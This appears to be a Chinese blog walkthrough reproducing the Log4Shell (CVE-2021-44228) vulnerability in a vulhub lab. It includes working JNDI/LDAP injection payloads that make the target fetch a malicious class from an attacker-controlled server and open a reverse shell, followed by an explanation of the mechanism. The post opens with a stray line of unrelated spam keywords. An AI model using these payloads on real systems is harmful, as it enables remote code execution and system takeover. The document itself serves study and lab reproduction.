做教师章节试题哪个网站,优化wordpress后台速度,西安制作网站的电话,永州网站开发一#xff0c;靶场搭建
在家庭局域网的另一条Ubuntu24笔记本中#xff0c;使用vulhub靶场搭建#xff0c;首先下载vulhub#xff0c;解压并进入目录/vulhub/log4j/CVE-2021-44228中#xff0c;执行docker启动命令
docker compose up -d
宝塔查看靶场信息 接下来我们直接…一靶场搭建
在家庭局域网的另一条Ubuntu24笔记本中使用vulhub靶场搭建首先下载vulhub解压并进入目录/vulhub/log4j/CVE-2021-44228中执行docker启动命令
docker compose up -d
宝塔查看靶场信息 接下来我们直接访问靶机ip的 8993 端口即可看到靶场 二漏洞验证
首先使用 Yakit的DNSLog 平台获取一个子域名
这里获取到的子域名为ykbdqepxgy.dgrh3.cn 使用该子域名我们构造 payload
${jndi:ldap://ykbdqepxgy.dgrh3.cn}在目标网站找到注入点 点击Add Core后Logging会增加error日志从而触发漏洞。
DNSLog出现反连漏洞验证成功这里存在log4j2 远程代码执行漏洞 三漏洞利用
在Yakit中开启端口监听器输入本机IP和监听端口这里设为4445点击启动监听 便于后续连接反射shell
再打开一个反连服务器设置本机IP默认端口即可设置payload为恶意类TcpReverseShell反连主机和反连端口和刚才设置的监听器保持一致。 复制上面的 ldap://192.168.0.104:4444/TqduOHDq构造新的payload
${jndi:ldap://192.168.0.104:4444/TqduOHDq}返回网站的注入点重复验证的步骤注入payload 提交后点击左侧的Logging显示报错日志注入成功 返回Yakit的反连服务器可以观察到反连信息 返回端口监听器连接成功 这里注意要把 原始模式 取消不然传入的命令无法正常执行可能是一个小BUG执行ls命令成功 漏洞复现成功
四原理分析
这个漏洞的核心是Java Naming and Directory InterfaceJNDI注入攻击Log4j2在处理日志消息时会自动解析其中的特定格式字符串包括${}中的表达式。例如${env:VAR}可以用来输出环境变量VAR的值。这种功能本身是为了方便开发人员获取动态内容。
然而Log4j2也支持通过JNDI从远程服务器获取数据。这意味着如果日志消息中包含类似${jndi:ldap://example.com/a}的字符串Log4j2会尝试通过JNDI从ldap://example.com/a获取数据。
由于JNDI查找可以通过多种协议如LDAP、RMI、DNS等访问远程服务器这个漏洞允许攻击者通过在日志消息中嵌入恶意的JNDI查找字符串远程执行任意代码RCE从而完全控制受影响的系统。
从网上找了个图 五影响版本
受影响版本范围2.0 ≤ Apache Log4j2 2.15.0-rc2
此外对于java版本的要求 如果想要自己在本地通过java代码复现漏洞一定要注意java版本在这里踩了几天的坑。